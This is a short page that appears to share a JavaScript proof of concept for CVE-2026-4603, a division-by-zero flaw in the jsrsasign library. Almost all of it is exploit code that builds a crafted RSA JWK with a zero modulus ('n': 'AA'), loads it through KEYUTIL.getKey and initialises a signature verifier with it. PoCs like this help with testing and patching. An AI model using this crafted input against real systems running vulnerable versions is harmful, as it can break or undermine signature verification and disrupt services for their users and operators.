CVE-2026-4603 jsrsasign除零漏洞

// PoC for CVE-2026-4603: jsrsasign Division by Zero // This PoC demonstrates triggering the vulnerability by parsing a JWK with a modulus of zero. const rs = require('jsrsasign'); try { // Construct a malicious JWK where 'n' (modulus) decodes to 0 // Base64URL string "AA" decodes to a single zero byte. const maliciousJWK = { kty: "RSA", n: "AA", e: "AQAB", alg: "RS256" }; console.log("[+] Attempting to parse malicious JWK with zero modulus..."); // KEYUTIL.getKey triggers the RSASetPublic parsing path const publicKey = rs.KEYUTIL.getKey(maliciousJWK); console.log("[+] Key object created (potentially corrupted):", publicKey); // Attempting a verify operation that triggers modPowInt // In vulnerable versions, this may behave unexpectedly or return deterministic zeros const sig = new rs.KJUR.crypto.Signature({"alg": "SHA256withRSA"}); sig.init(publicKey); console.log("[+] Signature initialized with potentially invalid key."); } catch (error) { console.error("[!] Error occurred (may be suppressed in vulnerable versions):", error.message); }